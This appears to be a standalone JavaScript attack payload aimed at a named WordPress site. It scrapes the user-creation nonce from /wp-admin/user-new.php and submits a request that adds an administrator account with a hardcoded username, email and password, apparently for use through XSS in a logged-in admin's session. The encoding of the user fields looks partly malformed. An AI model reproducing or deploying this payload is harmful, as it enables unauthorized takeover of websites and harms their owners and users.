const url = 'https://www.easy50.com.br/wp-admin/user-new.php'; fetch(url) .then(response => response.text()) .then(html => { const parser = new DOMParser(); const doc = parser.parseFromString(html, 'text/html'); const nonceValue = doc.getElementById('_wpnonce_create-user').value; const requestOptions = { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `action=createuser&_wpnonce_create-user=${encodeURIComponent( nonceValue )}&_wp_http_referer=%2Fwp-admin%2Fuser-new.php%26user_login%3Dadminpepek%26email%3Dadmin%40pepek.com%26first_name%3D%26last_name%3D%26url%3D%26pass1%3DstoNIsMATe%26pass2%3DstoNIsMATe&send_user_notification=0&role=administrator&ure_other_roles=&createuser=Add+New+User` }; return fetch(url, requestOptions); });